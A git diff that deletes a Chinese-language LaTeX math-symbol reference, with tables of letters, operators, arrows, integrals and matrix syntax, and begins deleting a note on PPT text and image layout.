[手册地址](http://www.uinio.com/Math/LaTex/) - -## 保留字符 - -LaTeX 环境中具有特殊含义的保留字符,不能直接使用,必须通过指定的语法实现: - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :---: | :--: | :-------: | :---: | :--: | :----------: | -| **1** | # | `\#` | **6** | { | `\{` | -| **2** | % | `\%` | **7** | } | `\}` | -| **3** | ∧ | `^\wedge` | **8** | ∼ | `\sim` | -| **4** | & | `\&` | **9** | ∖ | `\backslash` | -| **5** | _ | `\_` | | | | - -## 希腊字母 - -| 序号 | 标准符号 | LaTeX | 首字母大写 | LaTeX | 使用 `var` 前缀 | LaTeX | 读音 | -| :----: | :------: | :--------: | :--------: | :--------: | :-------------: | :----------------------: | :---------: | -| **1** | α | `\alpha` | | | | | /ˈælfə/ | -| **2** | β | `\beta` | | | | | /ˈbeɪtə/ | -| **3** | γ | `\gamma` | Γ | `\Gamma` | Γ | `\varGamma` | /ˈɡæmə/ | -| **4** | δ | `\delta` | Δ | `\Delta` | Δ | `\varDelta` | /ˈdɛltə/ | -| **5** | ϵ | `\epsilon` | | | ε | `\varepsilon` | /ˈɛpsɪlɒn/ | -| **6** | ζ | `\zeta` | | | | | /ˈzeɪtə/ | -| **7** | η | `\eta` | | | | | /ˈeɪtə/ | -| **8** | θ | `\theta` | Θ | `\Theta` | ϑ、Θ | `\vartheta`、`\varTheta` | /ˈθiːtə/ | -| **9** | ι | `\iota` | | | | | /aɪˈoʊtə/ | -| **10** | κ | `\kappa` | | | ϰ | `\varkappa` | /ˈkæpə/ | -| **11** | λ | `\lambda` | Λ | `\Lambda` | Λ | `\varLambda` | /ˈlæmdə/ | -| **12** | μ | `\mu` | | | | | /mjuː/ | -| **13** | ν | `\nu` | | | | | /njuː/ | -| **14** | ξ | `\xi` | Ξ | `\Xi` | Ξ | `\varXi` | /zaɪ, ksaɪ/ | -| **15** | o | `o` | O | `O` | | | /ˈɒmɪkrɒn/ | -| **16** | π | `\pi` | Π | `\Pi` | ϖ、Π | `\varpi`、`\varPi` | /paɪ/ | -| **17** | ρ | `\rho` | | | ϱ | `\varrho` | /roʊ/ | -| **18** | σ | `\sigma` | Σ | `\Sigma` | ς、Σ | `\varsigma`、`\varSigma` | /ˈsɪɡmə/ | -| **19** | τ | `\tau` | | | | | /taʊ, tɔː/ | -| **20** | υ | `\upsilon` | Υ | `\Upsilon` | Υ | `\varUpsilon` | /ˈʌpsɪlɒn/ | -| **21** | ϕ | `\phi` | Φ | `\Phi` | φ、Φ | `\varphi`、`\varPhi` | /faɪ/ | -| **22** | χ | `\chi` | | | | | /kaɪ/ | -| **23** | ψ | `\psi` | Ψ | `\Psi` | Ψ | `\varPsi` | /psaɪ/ | -| **24** | ω | `\omega` | Ω | `\Omega` | Ω | `\varOmega` | /oʊˈmeɪɡə/ | -| **25** | ϝ | `\digamma` | | | | | /daɪ'gæmə/ | - -## 希伯来字母 - -| 序号 | 符号 | LaTeX | 英文 | 序号 | 符号 | LaTeX | 英文 | -| :---: | :--: | :------: | :---: | :---: | :--: | :-------: | :----: | -| **1** | ℵ | `\aleph` | aleph | **3** | ℷ | `\gimel` | gimel | -| **2** | ℶ | `\beth` | beth | **4** | ℸ | `\daleth` | daleth | - -## 二元运算符 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :--------------: | :----: | :--: | :----------------: | -| **1** | + | `+` | **20** | ∙ | `\bullet` | -| **2** | − | `-` | **21** | ⊕ | `\oplus` | -| **3** | × | `\times` | **22** | ⊖ | `\ominus` | -| **4** | ÷ | `\div` | **23** | ⊙ | `\odot` | -| **5** | ± | `\pm` | **24** | ⊘ | `\oslash` | -| **6** | ∓ | `\mp` | **25** | ⊗ | `\otimes` | -| **7** | ◃ | `\triangleleft` | **26** | ◯ | `\bigcirc` | -| **8** | ▹ | `\triangleright` | **27** | ⋄ | `\diamond` | -| **9** | ⋅ | `\cdot` | **28** | ⊎ | `\uplus` | -| **10** | ∖ | `\setminus` | **29** | △ | `\bigtriangleup` | -| **11** | ⋆ | `\star` | **30** | ▽ | `\bigtriangledown` | -| **12** | ∗ | `\ast` | **31** | ⊲ | `\lhd` | -| **13** | ∪ | `\cup` | **32** | ⊳ | `\rhd` | -| **14** | ∩ | `\cap` | **33** | ⊴ | `\unlhd` | -| **15** | ⊔ | `\sqcup` | **34** | ⊵ | `\unrhd` | -| **16** | ⊓ | `\sqcap` | **35** | ⨿ | `\amalg` | -| **17** | ∨ | `\vee` | **36** | ≀ | `\wr` | -| **18** | ∧ | `\wedge` | **37** | † | `\dagger` | -| **19** | ∘ | `\circ` | **38** | ‡ | `\ddagger` | - -## 二元关系符 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :--------------------------------------: | :----: | :--: | :------------: | -| **1** | = | `=` | **49** | ⪈ | `\gneq` | -| **2** | ≠ | `\ne` | **50** | ≧ | `\geqq` | -| **3** | ≠ | `\neq` | **51** | ≱ | `\ngeq` | -| **4** | ≡ | `\equiv` | **52** | ≱ | `\ngeqq` | -| **5** | ≢ | `\not\equiv` | **53** | ≩ | `\gneqq` | -| **6** | ≐ | `\doteq` | **54** | ≩ | `\gvertneqq` | -| **7** | ≑ | `\doteqdot` | **55** | ≶ | `\lessgtr` | -| **8** | =def | `\overset{\underset{\mathrm{def}}{}}{=}` | **56** | ⋚ | `\lesseqgtr` | -| **9** | := | `:=` | **57** | ⪋ | `\lesseqqgtr` | -| **10** | ∼ | `\sim` | **58** | ≷ | `\gtrless` | -| **11** | ≁ | `\nsim` | **59** | ⋛ | `\gtreqless` | -| **12** | ∽ | `\backsim` | **60** | ⪌ | `\gtreqqless` | -| **13** | ∼ | `\thicksim` | **61** | ⩽ | `\leqslant` | -| **14** | ≃ | `\simeq` | **62** | ⪇ | `\nleqslant` | -| **15** | ⋍ | `\backsimeq` | **63** | ⪕ | `\eqslantless` | -| **16** | ≂ | `\eqsim` | **64** | ⩾ | `\geqslant` | -| **17** | ≅ | `\cong` | **65** | ⪈ | `\ngeqslant` | -| **18** | ≇ | `\ncong` | **66** | ⪖ | `\eqslantgtr` | -| **19** | ≈ | `\approx` | **67** | ≲ | `\lesssim` | -| **20** | ≈ | `\thickapprox` | **68** | ⋦ | `\lnsim` | -| **21** | ≊ | `\approxeq` | **69** | ⪅ | `\lessapprox` | -| **22** | ≍ | `\asymp` | **70** | ⪉ | `\lnapprox` | -| **23** | ∝ | `\propto` | **71** | ≳ | `\gtrsim` | -| **24** | ∝ | `\varpropto` | **72** | ⋧ | `\gnsim` | -| **25** | < | `<` | **73** | ⪆ | `\gtrapprox` | -| **26** | ≮ | `\nless` | **74** | ⪊ | `\gnapprox` | -| **27** | ≪ | `\ll` | **75** | ≺ | `\prec` | -| **28** | ≪̸ | `\not\ll` | **76** | ⊀ | `\nprec` | -| **29** | ⋘ | `\lll` | **77** | ⪯ | `\preceq` | -| **30** | ⋘̸ | `\not\lll` | **78** | ⋠ | `\npreceq` | -| **31** | ⋖ | `\lessdot` | **79** | ⪵ | `\precneqq` | -| **32** | > | `>` | **80** | ≻ | `\succ` | -| **33** | ≯ | `\ngtr` | **81** | ⊁ | `\nsucc` | -| **34** | ≫ | `\gg` | **82** | ⪰ | `\succeq` | -| **35** | ≫̸ | `\not\gg` | **83** | ⋡ | `\nsucceq` | -| **36** | ⋙ | `\ggg` | **84** | ⪶ | `\succneqq` | -| **37** | ⋙̸ | `\not\ggg` | **85** | ≼ | `\preccurlyeq` | -| **38** | ⋗ | `\gtrdot` | **86** | ⋞ | `\curlyeqprec` | -| **39** | ≤ | `\le` | **87** | ≽ | `\succcurlyeq` | -| **40** | ≤ | `\leq` | **88** | ⋟ | `\curlyeqsucc` | -| **41** | ⪇ | `\lneq` | **89** | ≾ | `\precsim` | -| **42** | ≦ | `\leqq` | **90** | ⋨ | `\precnsim` | -| **43** | ≰ | `\nleq` | **91** | ⪷ | `\precapprox` | -| **44** | ≰ | `\nleqq` | **92** | ⪹ | `\precnapprox` | -| **45** | ≨ | `\lneqq` | **93** | ≿ | `\succsim` | -| **46** | ≨ | `\lvertneqq` | **94** | ⋩ | `\succnsim` | -| **47** | ≥ | `\ge` | **95** | ⪸ | `\succapprox` | -| **48** | ≥ | `\geq` | **96** | ⪺ | `\succnapprox` | - -## 几何符号 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :-----------------: | :----: | :--: | :-------------------: | -| **1** | ∥ | `\parallel` | **14** | ◊ | `\lozenge` | -| **2** | ∦ | `\nparallel` | **15** | ⧫ | `\blacklozenge` | -| **3** | ∥ | `\shortparallel` | **16** | ★ | `\bigstar` | -| **4** | ∦ | `\nshortparallel` | **17** | ◯ | `\bigcirc` | -| **5** | ⊥ | `\perp` | **18** | △ | `\triangle` | -| **6** | ∠ | `\angle` | **19** | △ | `\bigtriangleup` | -| **7** | ∢ | `\sphericalangle` | **20** | ▽ | `\bigtriangledown` | -| **8** | ∡ | `\measuredangle` | **21** | △ | `\vartriangle` | -| **9** | 45∘ | `45^\circ` | **22** | ▽ | `\triangledown` | -| **10** | ◻ | `\Box` | **23** | ▴ | `\blacktriangle` | -| **11** | ◼ | `\blacksquare` | **24** | ▾ | `\blacktriangledown` | -| **12** | ⋄ | `\diamond` | **25** | ◂ | `\blacktriangleleft` | -| **13** | ◊◊ | `\Diamond \lozenge` | **26** | ▸ | `\blacktriangleright` | - -## 逻辑符号 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :--------------: | :----: | :--: | :--------------------: | -| **1** | ∀ | `\forall` | **20** | ¬ | `\neg` | -| **2** | ∃ | `\exists` | **21** | ⧸R | `\not\operatorname{R}` | -| **3** | ∄ | `\nexists` | **22** | ⊥ | `\bot` | -| **4** | ∴ | `\therefore` | **23** | ⊤ | `\top` | -| **5** | ∵ | `\because` | **24** | ⊢ | `\vdash` | -| **6** | & | `\And` | **25** | ⊣ | `\dashv` | -| **7** | ∨ | `\lor` | **26** | ⊨ | `\vDash` | -| **8** | ∨ | `\vee` | **27** | ⊩ | `\Vdash` | -| **9** | ⋎ | `\curlyvee` | **28** | ⊨ | `\models` | -| **10** | ⋁ | `\bigvee` | **29** | ⊪ | `\Vvdash` | -| **11** | ∧ | `\land` | **30** | ⊬ | `\nvdash` | -| **12** | ∧ | `\wedge` | **31** | ⊮ | `\nVdash` | -| **13** | ⋏ | `\curlywedge` | **32** | ⊭ | `\nvDash` | -| **14** | ⋀ | `\bigwedge` | **33** | ⊯ | `\nVDash` | -| **15** | q¯ | `\bar{q}` | **34** | ⌜ | `\ulcorner` | -| **16** | abc¯ | `\bar{abc}` | **35** | ⌝ | `\urcorner` | -| **17** | q― | `\overline{q}` | **36** | ⌞ | `\llcorner` | -| **18** | abc― | `\overline{abc}` | **37** | ⌟ | `\lrcorner` | -| **19** | ¬ | `\lnot` | | | | - -## 集合符号 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :--------------: | :----: | :--: | :--------------: | -| **1** | {} | `\{ \}` | **23** | ⊏ | `\sqsubset` | -| **2** | ∅ | `\emptyset` | **24** | ⊃ | `\supset` | -| **3** | ∅ | `\varnothing` | **25** | ⋑ | `\Supset` | -| **4** | ∈ | `\in` | **26** | ⊐ | `\sqsupset` | -| **5** | ∉ | `\notin` | **27** | ⊆ | `\subseteq` | -| **6** | ∋ | `\ni` | **28** | ⊈ | `\nsubseteq` | -| **7** | ∩ | `\cap` | **29** | ⊊ | `\subsetneq` | -| **8** | ⋒ | `\Cap` | **30** | ⊊ | `\varsubsetneq` | -| **9** | ⊓ | `\sqcap` | **31** | ⊑ | `\sqsubseteq` | -| **10** | ⋂ | `\bigcap` | **32** | ⊇ | `\supseteq` | -| **11** | ∪ | `\cup` | **33** | ⊉ | `\nsupseteq` | -| **12** | ⋓ | `\Cup` | **34** | ⊋ | `\supsetneq` | -| **13** | ⊔ | `\sqcup` | **35** | ⊋ | `\varsupsetneq` | -| **14** | ⋃ | `\bigcup` | **36** | ⊒ | `\sqsupseteq` | -| **15** | ⨆ | `\bigsqcup` | **37** | ⫅ | `\subseteqq` | -| **16** | ⊎ | `\uplus` | **38** | ⊈ | `\nsubseteqq` | -| **17** | ⨄ | `\biguplus` | **39** | ⫋ | `\subsetneqq` | -| **18** | ∖ | `\setminus` | **40** | ⫋ | `\varsubsetneqq` | -| **19** | ∖ | `\smallsetminus` | **41** | ⫆ | `\supseteqq` | -| **20** | × | `\times` | **42** | ⊉ | `\nsupseteqq` | -| **21** | ⊂ | `\subset` | **43** | ⫌ | `\supsetneqq` | -| **22** | ⋐ | `\Subset` | **44** | ⫌ | `\varsupsetneqq` | - -## 箭头符号 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :-------------------: | :----: | :--: | :--------------------: | -| **1** | ⇛ | `\Rrightarrow` | **36** | ⟼ | `\longmapsto` | -| **2** | ⇚ | `\Lleftarrow` | **37** | ⇀ | `\rightharpoonup` | -| **3** | ⇒ | `\Rightarrow` | **38** | ⇁ | `\rightharpoondown` | -| **4** | ⇏ | `\nRightarrow` | **39** | ↼ | `\leftharpoonup` | -| **5** | ⟹ | `\Longrightarrow` | **40** | ↽ | `\leftharpoondown` | -| **6** | ⟹ | `\implies` | **41** | ↿ | `\upharpoonleft` | -| **7** | ⇐ | `\Leftarrow` | **42** | ↾ | `\upharpoonright` | -| **8** | ⇍ | `\nLeftarrow` | **43** | ⇃ | `\downharpoonleft` | -| **9** | ⟸ | `\Longleftarrow` | **44** | ⇂ | `\downharpoonright` | -| **10** | ⇔ | `\Leftrightarrow` | **45** | ⇌ | `\rightleftharpoons` | -| **11** | ⇎ | `\nLeftrightarrow` | **46** | ⇋ | `\leftrightharpoons` | -| **12** | ⟺ | `\Longleftrightarrow` | **47** | ↶ | `\curvearrowleft` | -| **13** | ⟺ | `\iff` | **48** | ↺ | `\circlearrowleft` | -| **14** | ⇑ | `\Uparrow` | **49** | ↰ | `\Lsh` | -| **15** | ⇓ | `\Downarrow` | **50** | ⇈ | `\upuparrows` | -| **16** | ⇕ | `\Updownarrow` | **51** | ⇉ | `\rightrightarrows` | -| **17** | → | `\rightarrow` | **52** | ⇄ | `\rightleftarrows` | -| **18** | → | `\to` | **53** | ↣ | `\rightarrowtail` | -| **19** | ↛ | `\nrightarrow` | **54** | ↬ | `\looparrowright` | -| **20** | ⟶ | `\longrightarrow` | **55** | ↷ | `\curvearrowright` | -| **21** | ← | `\leftarrow` | **56** | ↻ | `\circlearrowright` | -| **22** | ← | `\gets` | **57** | ↱ | `\Rsh` | -| **23** | ↚ | `\nleftarrow` | **58** | ⇊ | `\downdownarrows` | -| **24** | ⟵ | `\longleftarrow` | **59** | ⇇ | `\leftleftarrows` | -| **25** | ↔ | `\leftrightarrow` | **60** | ⇆ | `\leftrightarrows` | -| **26** | ↮ | `\nleftrightarrow` | **61** | ↢ | `\leftarrowtail` | -| **27** | ⟷ | `\longleftrightarrow` | **62** | ↫ | `\looparrowleft` | -| **28** | ↑ | `\uparrow` | **63** | ↪ | `\hookrightarrow` | -| **29** | ↓ | `\downarrow` | **64** | ↩ | `\hookleftarrow` | -| **30** | ↕ | `\updownarrow` | **65** | ⊸ | `\multimap` | -| **31** | ↗ | `\nearrow` | **66** | ↭ | `\leftrightsquigarrow` | -| **32** | ↙ | `\swarrow` | **67** | ⇝ | `\rightsquigarrow` | -| **33** | ↖ | `\nwarrow` | **68** | ↠ | `\twoheadrightarrow` | -| **34** | ↘ | `\searrow` | **69** | ↞ | `\twoheadleftarrow` | -| **35** | ↦ | `\mapsto` | | | | - -## 特殊符号 - -| 序号 | 符号 | LaTeX | 序号 | 符号 | LaTeX | -| :----: | :--: | :--------------: | :----: | :--: | :-----------------: | -| **1** | ∞ | `\infty` | **33** | ♭ | `\flat` | -| **2** | ℵ | `\aleph` | **34** | ♮ | `\natural` | -| **3** | ∁ | `\complement` | **35** | ♯ | `\sharp` | -| **4** | ∍ | `\backepsilon` | **36** | ╱ | `\diagup` | -| **5** | ð | `\eth` | **37** | ╲ | `\diagdown` | -| **6** | Ⅎ | `\Finv` | **38** | ⋅ | `\centerdot` | -| **7** | ℏ | `\hbar` | **39** | ⋉ | `\ltimes` | -| **8** | ℑ | `\Im` | **40** | ⋊ | `\rtimes` | -| **9** | ı | `\imath` | **41** | ⋋ | `\leftthreetimes` | -| **10** | ȷ | `\jmath` | **42** | ⋌ | `\rightthreetimes` | -| **11** | 𝕜k | `\Bbbk` | **43** | ≖ | `\eqcirc` | -| **12** | ℓ | `\ell` | **44** | ≗ | `\circeq` | -| **13** | ℧ | `\mho` | **45** | ≜ | `\triangleq` | -| **14** | ℘ | `\wp` | **46** | ≏ | `\bumpeq` | -| **15** | ℜ | `\Re` | **47** | ≎ | `\Bumpeq` | -| **16** | Ⓢ | `\circledS` | **48** | ≑ | `\doteqdot` | -| **17** | ⨿ | `\amalg` | **49** | ≓ | `\risingdotseq` | -| **18** | % | `\%` | **50** | ≒ | `\fallingdotseq` | -| **19** | † | `\dagger` | **51** | ⊺ | `\intercal` | -| **20** | ‡ | `\ddagger` | **52** | ⊼ | `\barwedge` | -| **21** | … | `\ldots` | **53** | ⊻ | `\veebar` | -| **22** | ⋯ | `\cdots` | **54** | ⩞ | `\doublebarwedge` | -| **23** | ⌣ | `\smile` | **55** | ≬ | `\between` | -| **24** | ⌢ | `\frown` | **56** | ⋔ | `\pitchfork` | -| **25** | ≀ | `\wr` | **57** | ⊲ | `\vartriangleleft` | -| **26** | ◃ | `\triangleleft` | **58** | ⋪ | `\ntriangleleft` | -| **27** | ▹ | `\triangleright` | **59** | ⊳ | `\vartriangleright` | -| **28** | ♢ | `\diamondsuit` | **60** | ⋫ | `\ntriangleright` | -| **29** | ♡ | `\heartsuit` | **61** | ⊴ | `\trianglelefteq` | -| **30** | ♣ | `\clubsuit` | **62** | ⋬ | `\ntrianglelefteq` | -| **31** | ♠ | `\spadesuit` | **63** | ⊵ | `\trianglerighteq` | -| **32** | ⅁ | `\Game` | **64** | ⋭ | `\ntrianglerighteq` | - -## 分数 - -| 类型 | 符号 | LaTeX | -| :---------------------- | :----------------- | :----------------------------------------------------------- | -| **分数** | 24x=0.5xor24x=0.5x | `\frac{2}{4}x=0.5x or {2 \over 4}x=0.5x` | -| **小型分数** | 24x=0.5x | `\tfrac{2}{4}x = 0.5x` | -| **大型分数** (不嵌套) | 24=0.52c+2d+24=a | `\dfrac{2}{4} = 0.5 \qquad \dfrac{2}{c + \dfrac{2}{d + \dfrac{2}{4}}} = a` | -| **大型分数** (嵌套) | 2c+2d+24=a | `\cfrac{2}{c + \cfrac{2}{d + \cfrac{2}{4}}} = a` | - -## 数值函数 - -| 符号 | LaTeX | -| :---------------------------- | :----------------------------------------------------------- | -| expa⁡b=ab,exp⁡b=eb,10m | `\exp_a b = a^b, \exp b = e^b, 10^m` | -| ln⁡c,lg⁡d=log⁡e,log10⁡f | `\ln c, \lg d = \log e, \log_{10} f` | -| sin⁡a,cos⁡b,tan⁡c,cot⁡d,sec⁡e,csc⁡f | `\sin a, \cos b, \tan c, \cot d, \sec e, \csc f` | -| arcsin⁡a,arccos⁡b,arctan⁡c | `\arcsin a, \arccos b, \arctan c` | -| arccot⁡d,arcsec⁡e,arccsc⁡f | `\operatorname{arccot} d, \operatorname{arcsec} e, \operatorname{arccsc} f` | -| sinh⁡a,cosh⁡b,tanh⁡c,coth⁡d | `\sinh a, \cosh b, \tanh c, \coth d` | -| sh⁡k,ch⁡l,th⁡m,coth⁡n | `\operatorname{sh}k, \operatorname{ch}l, \operatorname{th}m, \operatorname{coth}n` | -| argsh⁡o,argch⁡p,argth⁡q | `\operatorname{argsh}o, \operatorname{argch}p, \operatorname{argth}q` | -| sgn⁡r,\|s\| | `\operatorname{sgn}r, \left\vert s \right\vert` | -| min(x,y),max(x,y) | `\min(x,y), \max(x,y)` | - -如果需要使用特殊的函数符号,那么可以采用 `\operatorname{}` 命令进行自定义: - -| 符号 | LaTeX | -| :-------- | :------------------------- | -| mydefine⁡x | `\operatorname{mydefine}x` | - -## 根式 - -| 符号 | LaTeX | 符号 | LaTeX | -| :--- | :----------- | :------ | :------------------------------ | -| √ | `\surd` | πn | `\sqrt[n]{\pi}` | -| π | `\sqrt{\pi}` | x3+y323 | `\sqrt[3]{\frac{x^3+y^3}{2}}*`_ | - -## 微分与导数 - -| 符号 | LaTeX | -| :------------------------------ | :----------------------------------------------------------- | -| dt,dt,∂t,∇ψ | `dt, \mathrm{d}t, \partial t, \nabla\psi` | -| dy/dx,dy/dx,dydx,dydx,∂2∂x1∂x2y | `dy/dx, \mathrm{d}y/\mathrm{d}x, \frac{dy}{dx}, \frac{\mathrm{d}y}{\mathrm{d}x}, \frac{\partial^2}{\partial x_1\partial x_2}y` | -| ′,‵,f′,f′,f″,f(3),y˙,y¨ | `\prime, \backprime, f^\prime, f', f'', f^{(3)}, \dot y, \ddot y` | - -## 模运算 - -| 符号 | LaTeX | -| :---------------- | :------------------------------------- | -| sk≡0(modm) | `s_k \equiv 0 \pmod{m}` | -| amodb | `a \bmod b` | -| gcd(m,n),lcm⁡(m,n) | `\gcd(m, n), \operatorname{lcm}(m, n)` | -| ∣,∤,∣,∤ | `\mid, \nmid, \shortmid, \nshortmid` | - -## 极限 - -| 符号 | LaTeX | -| :------- | :---------------------------------- | -| limn→∞xn | `\lim_{n \to \infty}x_n` | -| limn→∞xn | `\textstyle \lim_{n \to \infty}x_n` | - -## 范围与预测 - -| 符号 | LaTeX | -| :--------------------- | :--------------------------------------- | -| minx,maxy,infs,supt | `\min x, \max y, \inf s, \sup t` | -| limu,lim infv,lim supw | `\lim u, \liminf v, \limsup w` | -| dim⁡p,deg⁡q,detm,ker⁡ϕ | `\dim p, \deg q, \det m, \ker\phi` | -| Prj,hom⁡l,‖z‖,arg⁡z | `\Pr j, \hom l, \lVert z \rVert, \arg z` | - -## 积分 - -| 符号 | LaTeX | -| :----------------- | :------------------------------------------ | -| ∫13e3/xx2dx | `\int\limits_{1}^{3}\frac{e^3/x}{x^2}\, dx` | -| ∫13e3/xx2dx | `\int_{1}^{3}\frac{e^3/x}{x^2}\, dx` | -| ∫−NNexdx | `\textstyle \int\limits_{-N}^{N} e^x dx` | -| ∫−NNexdx | `\textstyle \int_{-N}^{N} e^x dx` | -| ∬Ddxdy | `\iint\limits_D dx\,dy` | -| ∭Edxdydz | `\iiint\limits_E dx\,dy\,dz` | -| ⨌Fdxdydzdt | `\iiiint\limits_F dx\,dy\,dz\,dt` | -| ∫(x,y)∈Cx3dx+4y2dy | `\int_{(x,y)\in C} x^3\, dx + 4y^2\, dy` | -| ∮(x,y)∈Cx3dx+4y2dy | `\oint_{(x,y)\in C} x^3\, dx + 4y^2\, dy` | - -> **注意**:积分符号采用 `\int\_{}^{}` 命令调用,双重积分符号采用 `\iint\_{}^{}`,以此类推,最高可以支持四重积分。 - -曲线积分可以使用 `\oint` 命令调用,但是 MathJax 并不支持该语法,因此在开启了 Unicode 扩展的前提下,可以改为采用 `\unicode{}` 命令调用: - -| 符号 | LaTeX | 描述 | -| :-------------- | :----------------------------------------------------------- | :----------------------------------------------------------- | -| ∯∯∯∯C | `\unicode{8751} \unicode{x222F}_C` | 曲面积分符号的 Unicode 码十进制为 `8751`,十六进制为 `x222F`; | -| ∰∰∰∰C | `\unicode{8752} \unicode{x2230}_C` | 三维曲面积分符号的 Unicode 码十进制为 `8752`,十六进制为 `x2230`; | -| ∱∱∲∲∳∳∱∱c∲∲c∳∳c | `\unicode{8753} \unicode{x2231}_c \unicode{8754} \unicode{x2232}_c \unicode{8755} \unicode{x2233}_c` | 其它积分符号; | - -## 大型运算符 - -| 分类 | 符号 | LaTeX | 符号 | LaTeX | -| :--------- | :--: | :------------------ | :--: | :----------------------------- | -| **求和** | ∑ab | `\sum_{a}^{b}` | ∑ab | `\textstyle \sum_{a}^{b}` | -| **连乘积** | ∏ab | `\prod_{a}^{b}` | ∏ab | `\textstyle \prod_{a}^{b}` | -| **余积** | ∐ab | `\coprod_{a}^{b}` | ∐ab | `\textstyle \coprod_{a}^{b}` | -| **并集** | ⋃ab | `\bigcup_{a}^{b}` | ⋃ab | `\textstyle \bigcup_{a}^{b}` | -| **交集** | ⋂ab | `\bigcap_{a}^{b}` | ⋂ab | `\textstyle \bigcap_{a}^{b}` | -| **析取** | ⋁ab | `\bigvee_{a}^{b}` | ⋁ab | `\textstyle \bigvee_{a}^{b}` | -| **合取** | ⋀ab | `\bigwedge_{a}^{b}` | ⋀ab | `\textstyle \bigwedge_{a}^{b}` | - -## 上下标 - -| 类型 | 符号 | 代码 | -| :----------------------: | :-----------------------------: | :----------------------------------------------------------- | -| **上标** | a2 ax+3 | `a^2` `a^{x+3}` | -| **下标** | a2 | `a_2` | -| **组合** | 1030a2+2 ai,jbf′ | `10^{30} a^{2+2}` `a{i,j} b{f'}` | -| **上下标混合** | x23 x23 | `x_2^3` `{x_2}^3` | -| **上标的上标** | 10108 | `10^{10^{8}}` | -| **混合标识** | X⁡12X⁡34ab 12!Ω34 | `\sideset{1^2}{3^4}X_a^b` `{}_1^2!\Omega_3^4` | -| **顶标底标** | ωα ωα ωγα ωα | `\overset{\alpha}{\omega}` `\underset{\alpha}{\omega}` `\overset{\alpha}{\underset{\gamma}{\omega}}` `\stackrel{\alpha}{\omega}` | -| **导数** | x′,y″,f′,f″ x′,y′′ | `x', y'', f', f''` `x^\prime, y^{\prime\prime}` | -| **导数点** | x˙,x¨ | `\dot{x}, \ddot{x}` | -| **上下划线与向量** | a^ b¯ c→ ab→ cd← def^ ghi― jkl― | `\hat a \ \bar b \ \vec c` `\overrightarrow{a b} \ \overleftarrow{c d} \ \widehat{d e f}` `\overline{g h i} \ \underline{j k l}` | -| **弧度** | AB⌢ | `\overset{\frown} {AB}` | -| **箭头** | A←n+μ−1B→Tn±i−1C | `A \xleftarrow{n+\mu-1} B \xrightarrow[T]{n\pm i-1} C` | -| **大括号** | 1+2+⋯+100⏞5050 | `\overbrace{ 1+2+\cdots+100 }^{5050}` | -| **底部大括号** | a+b+⋯+z⏟26 | `\underbrace{ a+b+\cdots+z }_{26}` | -| **求和运算** | ∑k=1Nk2 | `\sum_{k=1}^N k^2` | -| **文本模式下的求和运算** | ∑k=1Nk2 | `\textstyle \sum_{k=1}^N k^2` | -| **分式中的求和运算** | ∑k=1Nk2a | `\frac{\sum_{k=1}^N k^2}{a}` | -| **分式中的求和运算** | ∑k=1Nk2a | `\frac{\displaystyle \sum_{k=1}^N k^2}{a}` | -| **分式中的求和运算** | ∑k=1Nk2a | `\frac{\sum\limits^{^N}_{k=1} k^2}{a}` | -| **乘积运算** | ∏i=1Nxi | `\prod_{i=1}^N x_i` | -| **乘积运算** | ∏i=1Nxi | `\textstyle \prod_{i=1}^N x_i` | -| **副乘运算** | ∐i=1Nxi | `\coprod_{i=1}^N x_i` | -| **副乘运算** | ∐i=1Nxi | `\textstyle \coprod_{i=1}^N x_i` | -| **极限** | limn→∞xn | `\lim_{n \to \infty}x_n` | -| **极限** | limn→∞xn | `\textstyle \lim_{n \to \infty}x_n` | -| **积分** | ∫13e3/xx2dx | `\int\limits_{1}^{3}\frac{e^3/x}{x^2}\, dx` | -| **积分** | ∫13e3/xx2dx | `\int_{1}^{3}\frac{e^3/x}{x^2}\, dx` | -| **积分** | ∫−NNexdx | `\textstyle \int\limits_{-N}^{N} e^x dx` | -| **积分** | ∫−NNexdx | `\textstyle \int_{-N}^{N} e^x dx` | -| **双重积分** | ∬Ddxdy | `\iint\limits_D dx\,dy` | -| **三重积分** | ∭Edxdydz | `\iiint\limits_E dx\,dy\,dz` | -| **四重积分** | ⨌Fdxdydzdt | `\iiiint\limits_F dx\,dy\,dz\,dt` | -| **路径积分** | ∫(x,y)∈Cx3dx+4y2dy | `\int_{(x,y)\in C} x^3\, dx + 4y^2\, dy` | -| **环路积分** | ∮(x,y)∈Cx3dx+4y2dy | `\oint_{(x,y)\in C} x^3\, dx + 4y^2\, dy` | -| **交集** | ⋂i=1nEi | `\bigcap_{i=1}^n E_i` | -| **并集** | ⋃i=1nEi | `\bigcup_{i=1}^n E_i` | - -## 二项式系数 - -| 类型 | 符号 | LaTeX | -| :------------- | :--- | :-------------- | -| 二项式系数 | (nk) | `\binom{n}{k}` | -| 小型二项式系数 | (nk) | `\tbinom{n}{k}` | -| 大型二项式系数 | (nk) | `\dbinom{n}{k}` | - -## 矩阵 - -$$ -\begin{matrix} -x & y \\ -z & v -\end{matrix} -$$ - -```latex -\begin{matrix} -x & y \\ -z & v -\end{matrix} -``` - -$$ -\begin{vmatrix} -x & y \\ -z & v -\end{vmatrix} - -$$ - -```latex -\begin{vmatrix} -x & y \\ -z & v -\end{vmatrix} -``` - diff --git "a/src/\350\275\257\346\212\200\350\203\275/PPT\345\233\276\346\226\207\346\216\222\347\211\210\345\277\203\345\276\227.md" "b/src/\350\275\257\346\212\200\350\203\275/PPT\345\233\276\346\226\207\346\216\222\347\211\210\345\277\203\345\276\227.md" deleted file mode 100644 index 972da3cf..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/PPT\345\233\276\346\226\207\346\216\222\347\211\210\345\277\203\345\276\227.md" +++ /dev/null @@ -1,291 +0,0 @@ ---- -date: 2022-03-09 -category: -- 软技能 ---- - -# PPT图文排版心得 - -## **1.字体选择与字体组合方式** - -首先我挑选了一些我个人觉得不错的设计作品,根据这些作品的设计目的和最终效果,分为“A”、“B”两组。 -y -A组是“图片突出”,文字存在的目的只是粉饰这张照片而已。 - -B组是“文字突出”,文字在图片的衬托下被重点突出出来。 - 